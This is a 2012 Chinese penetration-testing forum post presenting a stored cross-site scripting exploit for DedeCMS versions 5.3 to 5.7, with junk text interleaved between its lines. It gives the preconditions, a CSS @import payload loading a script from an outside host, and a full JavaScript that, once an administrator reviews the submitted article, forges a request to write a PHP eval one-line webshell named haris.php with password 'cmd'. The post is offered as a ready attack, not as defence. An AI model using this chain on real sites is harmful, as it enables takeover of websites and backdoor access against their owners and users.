中国网络渗透测试联盟
标题:
dedecms xss oday通杀所有版本 可getshell
[打印本页]
作者:
admin
时间:
2012-9-15 13:56
标题:
dedecms xss oday通杀所有版本 可getshell
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
0 C* C; a# L( L" {
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
+ U2 k+ d4 j3 P& q
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
- ~$ |5 g' T6 l: O" ~ V) z4 c) n) @
下面说说利用方法。
, q9 [! h4 z2 j: ` K* i
条件有2个:
/ o3 G* y( k8 y- |9 d" F$ [
1.开启注册
0 P$ A. M1 S, O$ Q+ Q2 l
2.开启投稿
5 M8 W& t' m1 M6 g
注册会员----发表文章
2 X$ ?$ n; M1 p/ x
内容填写:
; ]# S# {( u3 S7 v& M) }
复制代码
+ M- I; U6 O5 N, m- R6 z, i+ D6 D
<style>@im\port'\
http://xxx.com/xss.css';
</style>
- ^% S8 d1 f {
新建XSS.Css
; e) `3 c$ V3 e5 L% ~6 \
复制代码
' m4 `0 H" ~+ w8 z- X
.body{
/ k0 |- x9 p" J0 f X
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
5 G) \0 Z3 ]/ }
新建xss.js 内容为
; b* f& g+ u7 i7 j
复制代码
% Y4 C' \5 [9 i5 _
1.var request = false;
; h, `4 D, p- P4 @6 m$ _2 v
2.if(window.XMLHttpRequest) {
3 ^5 Z% u2 P, H) T+ d+ @4 T
3.request = new XMLHttpRequest();
7 |7 {- U1 h9 P
4.if(request.overrideMimeType) {
8 }( d9 E! g" @& [6 e& Z, h
5.request.overrideMimeType('text/xml');
3 R. Z3 B3 l6 T
6.}
+ { r9 w) D. K2 j7 w* u; b0 n
7.} else if(window.ActiveXObject) {
$ T' g, y, n5 A3 Y0 z
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. @- S s$ n+ _) Q. o0 e( Q+ d
9.for(var i=0; i<versions.length; i++) {
b% P0 m6 Y% _/ b' P
10.try {
; o7 a" _3 [5 P) s/ d+ u$ C3 v {
11.request = new ActiveXObject(versions);
; Y6 [( d |6 K$ `% l. O& ~
12.} catch(e) {}
J5 d: j0 G7 [3 w1 s' _; n
13.}
0 |: m- u- c7 W7 Z
14.}
& r5 S9 \3 n. C3 U, s2 r% R
15.xmlhttp=request;
3 }7 ?& t; E; \( r- h
16.function getFolder( url ){
1 F5 Z- k5 k0 d9 f) A2 C0 M3 e
17. obj = url.split('/')
- u! Y4 k# Q$ t& J6 E7 X3 {- c. ^
18. return obj[obj.length-2]
) `" g A" u2 W9 u8 W x4 D6 ?" X) Y
19.}
T2 f' _1 R9 Z [
20.oUrl = top.location.href;
% X1 Z1 t. B* U6 |2 \) I& ?
21.u = getFolder(oUrl);
- w5 U; s. B. x( {& E& ^4 r
22.add_admin();
2 N( m, e+ E# y% l ]9 e
23.function add_admin(){
) p6 Q+ \% A7 r
24.var url= "/"+u+"/sys_sql_query.php";
9 c- q' E7 O! e, W% ?; X
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
9 V$ J5 T, @. [1 d
26.xmlhttp.open("POST", url, true);
+ B! \; d0 m2 \$ K! `1 j2 `0 k l+ I
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
: e6 E3 U6 q( l7 K. ~% `
28.xmlhttp.setRequestHeader("Content-length", params.length);
# O9 ^3 n0 U% y( b
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
- X% p7 s& n0 o- y" Z9 Q6 @
30.xmlhttp.send(params);
4 Q5 M8 M! _8 U/ J! ~8 {& U
31.}
5 I- \0 F- s4 D, ]+ Y2 B% d' G
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2